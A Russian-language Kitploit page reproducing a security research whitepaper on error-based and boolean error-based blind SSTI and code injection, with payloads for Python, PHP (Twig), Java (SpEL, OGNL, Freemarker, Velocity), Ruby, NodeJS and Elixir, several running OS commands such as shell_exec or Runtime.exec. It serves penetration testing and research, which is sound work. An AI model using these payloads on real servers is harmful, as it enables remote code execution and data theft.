Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Research_Successful_Errors — Whitepaper, описывающий техники Error-Based и Boolean Error-Based Blind для SSTI и инъекций кода, с универсальными пейлоадами для шести языков программирования и интеграцией в SSTImap. | Kitploit
Инструменты/GitHubGitHub/vladko312/research_successful_errors
Анализ уязвимостейАнализ КодаЭксплуатация веб-приложенийФаззингCTFТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHubvladko312/research_successful_errors

Research_Successful_Errors

Whitepaper, описывающий техники Error-Based и Boolean Error-Based Blind для SSTI и инъекций кода, с универсальными пейлоадами для шести языков программирования и интеграцией в SSTImap.

Репозиторий
121135 месяцев назадПроверено Kitploit

Успешные ошибки: новые техники инъекции кода и SSTI

Report version Last modified

[!NOTE] Это вторая версия технического отчета, основанная на результатах, которые я представил перед выпуском SSTImap версии 1.3.1. Дальнейшие улучшения будут адаптированы для этого формата как версия 1.2 исследования позднее.

  • Полезные нагрузки
  • Версия для печати
  • Слайды

Некоторые категории уязвимостей на первый взгляд могут казаться хорошо известными и довольно очевидными. Может показаться, что все возможные техники для этих уязвимостей известны, поэтому могут быть обнаружены только полезные нагрузки для необычных случаев. Серверная инъекция шаблонов (SSTI) и инъекция кода часто считаются такими хорошо известными категориями.

Иногда для этих уязвимостей встречаются новые техники с говорящими названиями. Многие исследователи могут считать такие техники тоже хорошо известными или даже помнить, что использовали их, но в действительности техника может существовать лишь как общепринятое название без исследований, описаний или универсальных полезных нагрузок. Она может упоминаться пару раз вместе с полезными нагрузками для очень специфических случаев, но по ней не будет проводиться тестирование, и реальный потенциал такой техники может оставаться неоткрытым годами.

В этом исследовании представлены две такие техники для инъекции кода и SSTI: Error-Based (основанная на ошибках) и Boolean Error-Based Blind (слепая на основе логических ошибок). Я предоставлю полезные нагрузки для инъекции кода и SSTI на шести языках программирования: Python, PHP, Java, Ruby, NodeJS и Elixir. Кроме того, я предоставлю универсальные детектирующие полезные нагрузки, способные быстро обнаруживать даже слепые инъекции.

Я приведу полную хронологию моего исследования — от обнаружения первых отправных точек до итоговых выводов. Я также изучу процесс создания новых полезных нагрузок для языков программирования и шаблонов, не упомянутых в этом исследовании.

В этом исследовании я покажу примеры практического применения новых техник и поделюсь потенциальными областями для дальнейших исследований. Все предоставленные полезные нагрузки можно использовать для обнаружения и эксплуатации уязвимостей в реальных приложениях. Кроме того, все предоставленные полезные нагрузки были добавлены в инструмент с открытым исходным кодом SSTImap, что упрощает применение результатов этого исследования к реальным целям.

Содержание

  • Введение
  • Отправные точки
    • Dust.JS
    • Twig (CVE-2022-23614)
    • JSONPath Plus (CVE-2025-1302)
    • expr-eval (CVE-2025-13204)
  • Error-Based SSTI
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Универсальное обнаружение
    • Разработка полезных нагрузок
  • Boolean Error-Based Blind SSTI
    • Обнаружение ошибок
    • Python
    • PHP
    • Java
    • Ruby
    • NodeJS
    • Elixir
    • Универсальное обнаружение
    • Разработка полезных нагрузок
  • Практическое применение
    • expr-eval (CVE-2025-13204)
    • JSONPath Plus (CVE-2025-1302)
    • Twig (CVE-2022-23614)
    • Dust.JS
  • Выводы
  • Ссылки

Введение

Уязвимости серверной инъекции шаблонов появляются на динамических веб-сайтах, использующих шаблонизаторы для серверного рендеринга, когда недоверенный пользовательский ввод вставляется в шаблон до его обработки шаблонизатором. Злоумышленник может вставить корректный синтаксис шаблона, который будет обработан шаблонизатором во время рендеринга страницы. Многие шаблонизаторы предоставляют ту или иную функциональность выполнения кода, что часто приводит к удаленному выполнению кода (RCE) на целевом сервере. Это исследование сосредоточено на шаблонизаторах, предоставляющих такие возможности в случае эксплуатации.

Уязвимости SSTI известны с 2015 года, и за это время было обнаружено множество полезных нагрузок, обеспечивающих эксфильтрацию информации, обход фильтров и побег из песочницы. Несмотря на это, большинство полезных нагрузок либо выводят результат непосредственно на страницу, либо сосредоточены на самом факте выполнения кода, отбрасывая результаты, выдаваемые этим кодом.

Процесс инъекции с отображением результата

Ещё одна хорошо известная техника SSTI — Time-Based Blind (слепая на основе времени), которая предполагает добавление задержки к выполняемой shell-команде. Эта техника позволяет определить успешность выполнения внедренного кода, но требует подбора полезной нагрузки для выполнения команд ОС, что затрудняет обнаружение слепой SSTI в неизвестном исследователю шаблонизаторе.

Процесс слепой инъекции на основе времени

Класс уязвимостей SSTI и обе известные техники эксплуатации были обнаружены в 2015 году Джеймсом Кеттлом. Эти техники подробно описаны в его исследовании «Server-Side Template Injection: RCE For The Modern Web App». [^1] За десять лет с тех пор не было задокументировано ни одной новой техники эксплуатации. В 2023 году была обнаружена только одна техника обнаружения, использующая полиглотные полезные нагрузки для одновременного тестирования нескольких шаблонизаторов. Эта техника была обнаружена Максимилианом Хильдебрандом и описана в его исследовании «Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning». [^2] Техника направлена на определение шаблонизаторов с использованием минимального количества запросов, но работает только для простых контекстов инъекций.

Процесс обнаружения на основе полиглотов

Большинство шаблонизаторов, основанных на интерпретируемых языках программирования, таких как PHP, NodeJS и Python, напрямую позволяют вычислять выражения соответствующих языков программирования. Эта возможность позволяет использовать полезные нагрузки для более широкой категории уязвимостей — инъекции кода, — обернув их в правильный формат тега шаблона.

Инъекция кода может возникать и без SSTI, когда недоверенный пользовательский ввод может попасть в eval() или аналогичную опасную функцию. Часто считается, что эксплуатация инъекции кода — это просто программирование на соответствующем языке, поэтому техники и полезные нагрузки документируются только для конкретных примеров уязвимостей, требующих адаптации кода под целевое приложение.

Отсутствие более универсальных техник обнаружения инъекций кода и SSTI приводит к неэффективности сканирования «черным ящиком» слепых инъекций кода и шаблонов.

В этом исследовании будут представлены две новые техники для инъекции кода и SSTI, а также полезные нагрузки для шести языков программирования и универсальные детектирующие полезные нагрузки. Представленные техники расширят возможности эксплуатации слепой SSTI, а также позволят сканировать слепые инъекции кода и SSTI без подбора языка программирования внедренного кода.

Полезные нагрузки, представленные в этом исследовании, ориентированы на практическое тестирование на проникновение реальных веб-приложений. Все представленные полезные нагрузки также включены в модули инструмента с открытым исходным кодом для обнаружения SSTI и инъекций кода под названием SSTImap. [^3] Поддержка двух новых техник и соответствующих полезных нагрузок была добавлена в версии 1.3.0. Менее общие и более специфические полезные нагрузки для практического применения новых техник, представленные в этом исследовании, включены в дополнительные модули SSTImap, которые можно найти в отдельном репозитории для «extra» модулей. [^4]

Отправные точки

При разработке полезных нагрузок для модулей SSTImap я сталкивался с ограничениями и находками, которые служили отправными точками, ведущими к техникам, представленным в этом исследовании. Я встречал различные сценарии SSTI и инъекций кода, в которых невозможно было получить вывод от внедренного кода с помощью существующих техник. Сталкиваясь с такими ограничениями, я проверял разные идеи для получения вывода, что в конечном итоге привело к обнаружению двух новых техник, описанных в этом исследовании.

Dust.JS

Первая отправная точка, указывающая на потенциальные ограничения, встретилась мне при обновлении полезных нагрузок для шаблонизатора Dust.JS. Этот движок считается устаревшим и, похоже, заброшенным, а выполнение кода было возможно только со старыми версиями dustjs-helpers начиная с 2015 года. Модуль SSTImap для этого движка был унаследован из кодовой базы Tplmap [^5], и его улучшение было задачей низкого приоритета, но модуль вызывал много ложных срабатываний в случае простых шаблонизаторов без логики.

Блок if в Dust.JS

Чтобы исправить проблему, я улучшил полезную нагрузку, но шаблонизатор и полезные нагрузки для него привлекли мое внимание. Инъекция кода была возможна внутри условия блока if, который напрямую передавался в eval(). [^6] Результат не отображался на странице, поэтому считалось, что RCE всегда будет слепым, даже в случае отраженной SSTI.

Предупреждение Dust.JS об eval

В тот момент исследование устаревшего шаблонизатора для создания новой полезной нагрузки было очень низко в моем списке приоритетов, поэтому я решил не исследовать потенциальные способы получения вывода.

Twig (CVE-2022-23614)

Со второй отправной точкой я столкнулся при разработке полезных нагрузок для новых версий шаблонизатора Twig. Полезные нагрузки для ранних версий уже были исправлены, поэтому я решил создать новый модуль с обновленными полезными нагрузками. В ходе поиска более современных способов эксплуатации Twig я обнаружил CVE-2022-23614, который позволял обойти песочницу с помощью одной из распространенных полезных нагрузок для современных версий. [^7]

Для нового модуля SSTImap я решил использовать полезную нагрузку, способную на эту эксплуатацию обхода песочницы, так как она также работала почти для всех версий Twig, эксплуатируемых современными полезными нагрузками.

Обход песочницы был возможен путем передачи строки, содержащей имя PHP-функции, в качестве параметра фильтру |sort, что заставляло шаблон вызывать эту функцию с двумя элементами массива в качестве аргументов. Как и в случае с Dust.JS, вывод функции используется внутри как условие (в данном случае для сортировки массива), поэтому он не передается обратно в контекст шаблона. Это ограничение не мешает эксплуатации, поскольку функция system() в PHP выводит результаты выполнения команд ОС непосредственно на веб-страницу, что позволяет получить вывод в обход шаблонизатора.

Мне стало любопытно, можно ли получить вывод внутри шаблонизатора для потенциального применения в рамках какого-либо обхода или новой техники эксплуатации SSTI. Для создания нового модуля для Twig это не требовалось, поэтому я решил не тратить время на разработку новых полезных нагрузок для доступа к результату инъекции внутри шаблона.

Описание CVE-2022-23614

JSONPath Plus (CVE-2025-1302)

Уязвимость CVE-2025-1302 в Node.JS-модуле JSONPath Plus до версии 10.3.0 позволяет внедрять произвольный JavaScript-код через доступ к конструктору функций внутри расширенного синтаксиса условий для jsonpath. [^8] Я решил создать новый дополнительный модуль SSTImap для автоматического обнаружения и эксплуатации CVE-2025-1302 в случае серверной инъекции jsonpath.

PoC для CVE-2025-1302

Как и в случае с Dust.JS, инъекция кода была возможна только внутри условия, поэтому прямого способа получить вывод и отобразить его на странице не было. Несмотря на это, я решил исследовать возможность извлечения вывода, что в итоге привело меня к третьей отправной точке, указывающей на потенциал, который в конечном счете стал причиной открытий, обсуждаемых в этом исследовании.

Модуль JSONPath Plus используется для доступа к данным внутри JSON-объектов. Во многих интерпретируемых языках программирования, таких как JavaScript, такие объекты часто неявно работают как указатели для ограничения потребления ресурсов. В то же время модуль JSONPath Plus позволяет получить доступ к объекту, в котором выполняется поиск, с помощью синтаксиса @root. Я нашел способ передать этот объект во внедренный код внутри условия, что позволило сохранять вывод в атрибутах объекта, а затем обращаться к ним с помощью внедренного синтаксиса jsonpath.

Этот метод далек от универсального способа доступа к выводу, поскольку он сильно ограничивает эксплуатируемые контексты инъекций для сценариев отраженной инъекции кода. Я исследовал другие потенциальные способы извлечения вывода, такие как загрязнение прототипов, но не смог обнаружить более универсальную технику. Несмотря на это, в этот раз мне удалось извлечь вывод из условия.

expr-eval (CVE-2025-13204)

В отличие от всех предыдущих случаев, где ограничения встречались при разработке полезных нагрузок, последняя отправная точка, ведущая к этому исследованию, была обнаружена при изучении реального приложения. Я тестировал no-code конструктор ботов для Discord, который позволял пользователям настраивать шаблоны сообщений. Сам по себе шаблонизатор, использовавшийся для этой цели, не выполнял никакой код, но в нем был выделенный тег для вычисления математических выражений.

Изучая различные сообщения об ошибках, возвращаемые этим тегом, я определил, что выражения вычисляются с помощью Node.JS-модуля expr-eval. Этот модуль позволяет выполнить RCE через доступ к конструктору Object, который обеспечивает произвольный доступ к свойствам (CVE-2025-13204). Я изменил полезную нагрузку, чтобы не нарушать синтаксис тега шаблона, но вместо результатов выполнения кода я получил только NaN.

Полезная нагрузка вернула NaN

Похоже, что результат expr-eval преобразуется шаблонизатором в число, что препятствует отображению вывода выполнения кода. Однако результат преобразуется в число только в случае успешного вычисления. В случае ошибки шаблон подставляет вместо тега полный текст ошибки, который иногда содержит часть моего кода.

Ошибки отображаются

Я решил изучить возможность извлечения результатов выполнения кода через такие фрагменты сообщений об ошибках. Существует техника, позволяющая извлекать SQL-запросы через специально вызываемые сообщения об ошибках. [^9] Я предположил, что аналогичные техники существуют для инъекции кода и SSTI.

Описание Error-Based SQL-инъекции

Я пытался искать «Error-based SSTI» и другие возможные названия для таких техник SSTI и инъекции кода, однако мне удалось найти только error-based полиглоты из одной исследовательской работы 2023 года и технику определения шаблонизатора по сообщению об ошибке. Единственным результатом, хоть отдаленно похожим на то, что я искал, была одна полезная нагрузка для шаблонов Freemarker, созданная исследователем Николя Вердье. [^10]

Полезная нагрузка Freemarker

Эта полезная нагрузка позволяла определить успешность выполнения кода в случае слепой инъекции путем условного вызова ошибки. Аналогичная техника существует для SQL-инъекций, что подтвердило мои предположения о том, что подобные техники могут работать для инъекции кода и SSTI.

Я понял, что техника, которую я искал, ранее не была задокументирована, поэтому решил провести это исследование, чтобы разработать необходимые полезные нагрузки. Кроме того, я решил добавить эту технику в свой инструмент с открытым исходным кодом SSTImap.

Error-Based SSTI

Я решил разработать полезные нагрузки, которые позволят вызывать ошибки, содержащие результат выполнения кода в тексте сообщения об ошибке. Аналогичная техника уже существует для SQL-инъекций. Например, CONVERT(INT, …) в SQL преобразует строку в число. Если строка не представляет допустимое число, база данных вернет текст ошибки, содержащий эту строку. Если это сообщение об ошибке отображается пользователю, мы можем получить вывод даже в случае иначе слепой инъекции.

Аналогичный подход можно использовать для SSTI и инъекции кода. Некоторые сообщения об ошибках отражают данные, предоставленные пользователем, что позволяет использовать эти ошибки для получения вывода внедренного кода.

Процесс Error-Based инъекции

Языки программирования обычно позволяют пользователям создавать ошибки с пользовательскими сообщениями, но часто невозможно напрямую использовать эти возможности при эксплуатации уязвимости. В большинстве случаев инъекция допускает только вычисление выражений, что не позволяет внедренному коду использовать языковые конструкции, необходимые для вызова ошибок или создания новых классов ошибок. Чтобы сделать полезные нагрузки более универсальными для лучшего покрытия, я решил сосредоточиться на инъекциях в контексте выражений языка, где разрешены только базовые операторы, литералы и вызовы функций.

Поэтому для эксплуатации SSTI и инъекции кода с использованием этой техники мне пришлось найти сообщения об ошибках, которые отражают данные, предоставленные пользователем. В большинстве случаев полезные нагрузки для инъекции кода можно использовать для эксплуатации SSTI, оборачивая их тегами шаблона. В рамках этого исследования я рассмотрю полезные нагрузки для пяти языков программирования: Python, PHP, Ruby, NodeJS и Elixir, а также для шаблонизаторов, поддерживаемых SSTImap, если такие полезные нагрузки существенно отличаются от полезных нагрузок соответствующего языка программирования. Кроме того, в этой работе будут рассмотрены полезные нагрузки для шаблонизаторов на основе Java, а также универсальные детектирующие полезные нагрузки.

Python

В начале исследования я решил найти полезные нагрузки для языка программирования Python, который я часто использую в повседневных задачах. Сначала я попытался применить тот же принцип, что и для SQL-инъекций, преобразуя строку в целое число. В этом случае сообщение об ошибке действительно отражает предоставленную пользователем строку, но вскоре я обнаружил, что длинные строки обрезаются, поэтому могут быть отражены только первые 199 символов.

Строка обрезается

Я решил поискать другие сообщения об ошибках, которые позволяют отражать предоставленные пользователем строки произвольной длины. Оказалось, что обращение к несуществующему атрибуту с помощью функции getattr() вызывает такую ошибку. В результате я получил полезную нагрузку getattr("", OUTPUT), которая отражает строку OUTPUT без каких-либо ограничений по длине.

Можно извлекать длинные файлы

Эта полезная нагрузка работает для всех протестированных шаблонизаторов на основе Python, хотя для Jinja2 потребовались некоторые изменения для вызова функции Python getattr():```python3 {{ cycler.init.globals.builtins.getattr("", OUTPUT) }}

root@kitploit:~
Кроме того, для шаблонизатора Jinja2 я обнаружил ещё одну полезную нагрузку, которая вызывает ошибку *TemplateNotFound*: `{% include OUTPUT %}`. 
Эта полезная нагрузка была добавлена в старый модуль Jinja2 для SSTImap.

![Jinja2 error](https://assets.kitploit.com/production/public/readmes/10936/62b21955cb2095d8dffa831b8024a1f0b1d273e0a0749006a621c78996b51a5d.png)

### PHP
Для эксплуатации PHP-инъекций кода на основе ошибок я обнаружил несколько сообщений об ошибках, которые имели разную применимость для различных шаблонизаторов.
Например, PHP позволяет вызывать строку как функцию, имя которой равно содержимому строки.
Если такой функции не существует, сообщение об ошибке будет содержать всю переданную строку.
В результате мы получаем простую полезную нагрузку: `OUTPUT()`

Эта полезная нагрузка не работает в большинстве шаблонизаторов, поэтому я продолжил исследование и обнаружил ошибку, вызываемую при попытке открыть несуществующие файлы с помощью функции `fopen()`.
Эта полезная нагрузка работает почти во всех протестированных шаблонизаторах: `fopen(OUTPUT, "r")`

Кроме того, я нашёл функцию `include()`, которая вызывала аналогичную ошибку.
Полезная нагрузка `include(OUTPUT)` или подобная ей может использоваться в большинстве шаблонизаторов, поддерживающих наследование шаблонов.

Полезные нагрузки с использованием `fopen()` и `include()` в некоторых случаях не срабатывали.
Оказалось, что эти функции вызывают PHP-**предупреждения**, которые могут быть выведены внутри результатов рендеринга шаблона, к которым у нас нет доступа.

Я решил изменить первую полезную нагрузку, используя `call_user_func()`, чтобы вызывать строку как функцию без использования специфического для PHP синтаксиса.
В результате я получил полезную нагрузку: `call_user_func(OUTPUT)`, которая вызывает **фатальную ошибку**, прерывает рендеринг и отображает сообщение об ошибке прямо на странице.

![PHP payload and error](https://assets.kitploit.com/production/public/readmes/10936/3f539c6ae4bde73fb99c253e845686869b1eb12d0dc2f5c3c8d19af95c0d8893.png)

Обычно используемая для RCE функция `system()` выводит результат на страницу, но возвращает только первую строку результата.
Чтобы получить полный вывод, я решил использовать `shell_exec()`.
Эта функция принимает ровно один аргумент, поэтому она хорошо подошла для большинства шаблонизаторов, включая старые версии **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}

Для более новых версий Twig я использовал фильтр |map, чтобы сохранить вывод, но он передавал индекс массива вторым элементом, что делало невозможным непосредственное использование функции shell_exec(). Чтобы обойти это ограничение, я использовал функцию call_user_func() для вызова shell_exec() и словарь вместо массива для контроля значений индекса:```php {% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}

root@kitploit:~
Чтобы вызвать ошибку в Twig и получить результаты выполнения, можно использовать пейлоад **fatal error**, который вызывает несуществующую функцию: `{{ [0]|map(OUTPUT) }}` или подключает несуществующий файл: `{% include(OUTPUT) %}`

![Сообщение об ошибке Twig](https://assets.kitploit.com/production/public/readmes/10936/2a7d471317458f90a23da3e811d93ed1c9e461bd637dee7f75eef1e4e87744ba.png)

### Java
Java не предоставляет универсальной встроенной функциональности для выполнения кода, поэтому для Java не существует универсальных пейлоадов.
Вместо этого используются языки выражений, такие как **Spring Expression Language** (**SpEL**).
Для этого языка можно использовать простой трюк с преобразованием строки в число:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)

Этот пейлоад также будет работать для других подобных языков выражений. Чтобы проверить синтаксис SpEL, мы можем использовать специфический для SpEL способ доступа к классам: T(java.lang.Integer).valueOf(OUTPUT)

Чтобы получить результаты выполнения команд ОС в виде строки, мы можем использовать пейлоад:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())

root@kitploit:~
![Сообщение об ошибке SpEL](https://assets.kitploit.com/production/public/readmes/10936/f162ff2fe1b9b1a081cb85d6c64102a74426d768f1a2601949b93ccb5103d118.png)

Другой распространённый язык выражений, используемый в Java, — это **OGNL**.
Этот язык вызывает ошибку, содержащую введённую пользователем строку, когда эта строка используется в арифметической операции: `OUTPUT/0`

Результат RCE можно преобразовать в строку с помощью следующей полезной нагрузки:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())

Я также создал полезные нагрузки для двух шаблонизаторов на Java, поддерживаемых SSTImap.

Например, шаблоны Freemarker позволяют ограниченное создание объектов путём применения фильтра ?new() к строке, содержащей имя соответствующего класса. Если такого класса не существует, сообщение об ошибке будет содержать всю строку. Это можно использовать для создания простой полезной нагрузки: ${ OUTPUT?new() }

Freemarker error message

Шаблонизатор Velocity поддерживает включение шаблонов с помощью директивы #include(). Для несуществующих шаблонов сообщение об ошибке будет содержать указанное имя: #include(OUTPUT)

Velocity error message

Ruby

Полезная нагрузка для Ruby может использоваться как для Code Injection, так и для SSTI и использует ошибку, возникающую при обращении к несуществующему файлу, что часто применяется в этом методе: File.read(OUTPUT)

Ruby payload and error message

NodeJS

Для Error-Based Code Injection в NodeJS можно вызвать ошибку, подключив несуществующий модуль с помощью функции require(), если она доступна в контексте внедрения: require(OUTPUT)

В качестве альтернативы JavaScript вызывает отражающую ошибку при обращении к свойству undefined: ""["x"][OUTPUT]

Elixir

Язык программирования Elixir отражает строку в сообщении об ошибке, когда эта строка используется в качестве индекса списка вместо объекта atom: [1, 2][OUTPUT]

Результат выполнения команды ОС можно отразить с помощью [1, 2][elem(System.shell(" … "), 0)]

Elixir error message

Универсальное обнаружение

Для Error-Based обнаружения SSTI и Code Injection нам нужна полезная нагрузка, которая вызывала бы ошибку на любом языке программирования. В этом случае можно определить язык программирования по характерному сообщению об ошибке или хотя бы найти ключевые слова, указывающие на наличие ошибки, если язык программирования пока не поддерживается.

Моей первой идеей для создания такой полезной нагрузки было деление на ноль, но некоторые языки программирования, например JavaScript, не считают такую нагрузку ошибкой и просто возвращают NaN. Чтобы обработать такие случаи, я решил добавить вызов неопределённой функции: (1/0)+zxy()

Новая полезная нагрузка вызывала ошибку в NodeJS, но приводила к разным синтаксическим ошибкам в некоторых шаблонизаторах на PHP, что усложняло определение языка программирования.

Чтобы избежать раннего обнаружения несуществующей функции во время разбора шаблона, я решил обновить полезную нагрузку, используя ошибку, возникающую при обращении к свойству undefined. Доступ к атрибуту требует вычисления первой части, тогда как в случае конкатенации строк в PHP все части вычисляются во время выполнения, начиная с деления на ноль. В итоге я создал полезную нагрузку, способную обнаруживать отражение подробных сообщений об ошибках при универсальных внедрениях: (1/0).zxy.zxy

Для модуля SSTImap я добавил обнаружение типичных сообщений об ошибках для всех пяти поддерживаемых языков программирования, а также поиск по ключевым словам для определения типа ошибки, если язык программирования или шаблонизатор ещё не поддерживается.

Groovy template injection detected in SSTImap with generic detection payload

Разработка полезных нагрузок

После обнаружения отражения подробной ошибки и определения языка программирования по тексту ошибки нам всё ещё нужно найти сообщение об ошибке, отражающее переданное пользователем значение, чтобы создать полезные нагрузки для Error-Based RCE. Обычно такие ошибки можно вызвать при обращении к несуществующим файлам и модулям, при необычных взаимодействиях со специальными объектами, такими как null или undefined, а также в случае несуществующих функций, классов или атрибутов. В отличие от этого, синтаксические ошибки не дают возможностей для извлечения данных, поскольку они прерывают разбор шаблона до того, как начнётся выполнение любой внедрённой конструкции.

Для успешной автоматизированной эксплуатации следует убедиться, что длинные и многострочные тексты не обрезаются. Кроме того, важно предотвращать ситуации, когда результат будет равен чему-то допустимому, что не вызовет ошибку. Для таких случаев следует добавить префикс, который сделает любой вывод недопустимым. Например, крайне маловероятно, что на целевом сайте есть файлы, классы или атрибуты, начинающиеся с Y:/A:/.

Boolean Error-Based Blind SSTI

Большинство современных веб-серверов и приложений отключают подробный вывод ошибок, что предотвращает эксплуатацию Error-Based Code Injection и SSTI. В таких случаях невозможно получить полный текст сообщения об ошибке, но саму ошибку обычно всё же можно обнаружить. Это позволяет нам определить успешность слепого внедрения, обнаружив условно вызванную ошибку.

Custom error page

Действительно, разные ответы могут раскрыть результат слепого внедрения. Например, в случае Boolean-Based Blind SQL Injection полезная нагрузка вида AND SUBSTRING((…), 1, 1) = 's' возвращала бы результаты только в том случае, если целевое значение начинается с символа s. Этот метод основан на различном поведении приложения в случаях, когда не возвращается ни одного результата. Однако это неприменимо к большинству случаев Code Injection и SSTI.

Boolean-Based SQLi description

Однако существует похожий метод, называемый Error-Based Blind SQL Injection, в котором целевое значение используется для условного вызова ошибки только в одном из случаев, не прерывая другой: CASE WHEN 1=1 THEN 1 ELSE json('') END

Default error page

Такой метод можно адаптировать для работы с Code Injection и SSTI. Более того, я уже встречал полезную нагрузку для этого метода ранее. Это была полезная нагрузка для шаблонизатора Freemarker от Nicolas Verdier, о которой уже упоминалось в этом исследовании. [^10]

Freemarker payload

Языки программирования уже позволяют нам задавать условия, определяющие, какой код будет выполнен. Этого можно добиться с помощью специальных языковых конструкций или операторов. Однако, как и в случае с Error-Based методом, я решил избегать языковых конструкций в более универсальных полезных нагрузках для Code Injection, поскольку они будут недоступны во многих контекстах внедрения. Я также решил отказаться от тернарного условного оператора, так как такие сложные операторы могут не поддерживаться многими шаблонизаторами и другими контекстами внедрения, использующими собственные парсеры.

Чтобы избежать ложных срабатываний, ошибка должна вызываться в случае, когда наше внедрение не дало корректного результата, поскольку может быть невозможно отличить ошибки, намеренно вызванные нашим внедрением, от любых других ошибок, которые могла вызвать полезная нагрузка.

Обнаружение ошибок

Чтобы автоматизировать тестирование Boolean Error-Based Blind Code Injection и SSTI, нам нужен способ обнаружения ошибок в ответах сервера. Пользователи могут предоставлять регулярные выражения для определения нормальных страниц или страниц ошибок, но мы также можем попытаться обнаруживать ошибки, сравнивая код и длину ответа, заголовки и другие параметры с соответствующими параметрами обычного ответа.

Какой бы подход мы ни выбрали, нам понадобится использовать две пары похожих полезных нагрузок. Минимальные различия между полезными нагрузками в каждой паре позволят избежать ложных срабатываний, вызванных ошибками WAF или прокси, а использование двух пар снизит количество ложных срабатываний, вызванных случайными внешними проблемами.

Чтобы определить обычный ответ приложения, я решил использовать числовые полезные нагрузки, чтобы избежать синтаксических ошибок в большинстве контекстов внедрения. Несколько ответов сравниваются для определения наиболее стабильных параметров ответа приложения. Первый запрос отбрасывается, чтобы избежать помех от действий, которые приложение может выполнять при первом подключении с нового IP-адреса.

Для сравнения запросов были выбраны следующие параметры:

  • HTTP-код ответа
  • Время ответа
  • Кодировка ответа
  • Длина ответа в байтах
  • Длина ответа в символах
  • Количество слов в ответе
  • Количество строк в ответе
  • Количество заголовков
  • Количество cookie
  • Количество перенаправлений
  • URL конечной страницы
  • Значение заголовка Content-Type
  • Значение заголовка Server

Параметры считаются стабильными, если они остаются одинаковыми во всех ответах или отклоняются не более чем на 5% от среднего значения (для числовых значений).

Boolean-Based injection flow

Python

Чтобы определить истинность результатов внедрения, можно использовать деление на логическое значение. Значение True будет преобразовано в единицу, что не вызовет ошибки, а значения, вычисляемые как False, приведут к ошибке деления на ноль. В качестве полезной нагрузки можно использовать следующее выражение: 1 / ( OUTPUT )

Для обнаружения внедрения можно использовать две пары полезных нагрузок:

  • 'a'.join('bc') == 'bac' и 'a'.join('bc') == 'abc'
  • bool('False') == True и bool('True') == False

Выполнение кода возможно с помощью bool(eval( … )), а выполнение команд ОС можно проверить с помощью os.popen( … )._proc.wait() == 0, начиная с Python 3.6.

В большинстве шаблонизаторов на Python эти полезные нагрузки можно использовать как есть, тогда как Jinja2 не разрешает прямой доступ к встроенным функциям Python. В результате полезная нагрузка для Jinja2 немного сложнее:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}

root@kitploit:~
![Jinja payload test with SSTImap](https://assets.kitploit.com/production/public/readmes/10936/9389ea206b96de22e9d5382a5e811f4277598355c20c0ed8825720b13620ddbe.png)

### PHP
PHP также позволяет использовать полезные нагрузки вида `1 / ( … )` для определения успешности инъекции.
Для обнаружения инъекции были выбраны следующие две пары полезных нагрузок:

- `'2' + '3' == 5` и `'2' + '5' == 3`
- `strlen('2') == 1` и `strlen('1') == 2`

К результатам выполнения кода можно было получить доступ с помощью `true && eval( … )`, а код возврата выполнения OS-команды можно было проверить с помощью `pclose(popen( … , "wb")) == 0`

Эти полезные нагрузки работают для всех протестированных шаблонизаторов, кроме **Twig**.
Старые версии шаблонизатора Twig позволяют использовать полезную нагрузку следующего вида:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}} 

Получить код возврата невозможно, поэтому в случае успеха в конец вывода добавляется известная строка, которую проверяет шаблонизатор. Аналогичный подход работает и для более новых версий Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}

root@kitploit:~
![Twig error](https://assets.kitploit.com/production/public/readmes/10936/e9e89c81e51a6f2eb646621a50f7ea1b46fac661d4d87dbdfb793ee1c0c0c01c.png)

### Java

Опять же, отсутствие универсального способа выполнения Java-кода требует от нас создания различных полезных нагрузок для каждого из поддерживаемых шаблонизаторов.

Для **Spring Expression Language** я использовал ту же идею, что и раньше, но она потребовала некоторых дополнительных модификаций для преобразования типов: `1/(( … )?1:0)+""`

Тернарный оператор используется для преобразования результата в `0` или `1`, а конкатенация пустой строки применяется для избежания ошибок, вызванных некорректным типом возвращаемого значения.

Для детектирующих полезных нагрузок я заменил `1` на `"".getClass().forName('java.lang.Integer').valueOf('1')`, что позволяет подтвердить, что инъекция поддерживает выполнение **Java**-кода.
Для двух моих пар детектирующих полезных нагрузок я использовал простое сложение целых чисел, проверяя переполнение целочисленного типа во второй паре.

Выполнение OS-команд проверялось сравнением кода возврата функции `waitFor()` с нулём:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0

Эти полезные нагрузки также будут работать для других подобных языков выражений. Чтобы убедиться, что у нас есть инъекция SpEL, мы можем заменить их на специфичные для SpEL полезные нагрузки: T(java.lang.Integer).valueOf('1') и T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0

Ошибка SpEL

Полезные нагрузки для выражений OGNL аналогичны полезным нагрузкам SpEL. Я использовал те же пары полезных нагрузок с целочисленным сложением, а также тот же оракул: 1/((…)?1:0)+""

Синтаксис OGNL можно подтвердить, заменив 1 на @java.lang.Integer@valueOf('1')

